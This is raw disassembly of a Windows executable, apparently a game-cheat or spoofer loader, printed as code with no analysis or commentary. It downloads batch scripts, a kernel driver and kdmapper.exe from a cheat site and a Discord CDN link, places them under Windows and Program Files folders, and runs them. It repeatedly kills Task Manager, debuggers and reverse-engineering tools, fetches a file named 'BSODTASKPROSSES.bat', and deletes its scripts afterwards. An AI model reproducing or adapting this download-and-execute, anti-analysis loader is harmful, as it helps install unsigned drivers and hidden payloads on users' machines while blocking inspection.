lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macchanger.bat
lea rcx, [rsp + 0xe9f0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemmacchanger.bat
lea rcx, [rsp + 0xe9d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe9d0]
call fcn.14005d8d0
mov qword [rsp + 0x1340], rax
lea rcx, [rsp + 0xe9f0]
call fcn.14005d8d0
mov qword [rsp + 0x1348], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1340]
mov rdx, qword [rsp + 0x1348]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_2NDMACCHANGER.bat
lea rcx, [rsp + 0xea70]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
lea rcx, [rsp + 0xa330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa330]
call fcn.14005d8d0
mov qword [rsp + 0x1350], rax
lea rcx, [rsp + 0xa330]
call fcn.14005d8d0
mov qword [rsp + 0x1358], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1350]
mov rdx, qword [rsp + 0x1358]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_IPv4.bat
lea rcx, [rsp + 0xe9b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
lea rcx, [rsp + 0xe990]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe990]
call fcn.14005d8d0
mov qword [rsp + 0x1360], rax
lea rcx, [rsp + 0xe9b0]
call fcn.14005d8d0
mov qword [rsp + 0x1368], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1360]
mov rdx, qword [rsp + 0x1368]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_IPv6.bat
lea rcx, [rsp + 0xea30]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
lea rcx, [rsp + 0xcd70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcd70]
call fcn.14005d8d0
mov qword [rsp + 0x1370], rax
lea rcx, [rsp + 0xea30]
call fcn.14005d8d0
mov qword [rsp + 0x1378], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1370]
mov rdx, qword [rsp + 0x1378]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemmacchanger.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_US2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USIPv6.bat
call fcn.1402b632c
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xcd50]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xcd30]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xcd10]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xccf0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xccd0]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xccb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcd30]
call fcn.14005d8d0
mov qword [rsp + 0x1380], rax
lea rcx, [rsp + 0xcd50]
call fcn.14005d8d0
mov qword [rsp + 0x1388], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1380]
mov rdx, qword [rsp + 0x1388]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xccf0]
call fcn.14005d8d0
mov qword [rsp + 0x1390], rax
lea rcx, [rsp + 0xcd10]
call fcn.14005d8d0
mov qword [rsp + 0x1398], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1390]
mov rdx, qword [rsp + 0x1398]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xccb0]
call fcn.14005d8d0
mov qword [rsp + 0x13a0], rax
lea rcx, [rsp + 0xccd0]
call fcn.14005d8d0
mov qword [rsp + 0x13a8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13a0]
mov rdx, qword [rsp + 0x13a8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xcc90]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcc70]
call fcn.14005d9d0
lea rcx, [rsp + 0xcc70]
call fcn.14005d8d0
mov qword [rsp + 0x13b0], rax
lea rcx, [rsp + 0xcc90]
call fcn.14005d8d0
mov qword [rsp + 0x13b8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x13b0]
mov rdx, qword [rsp + 0x13b8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
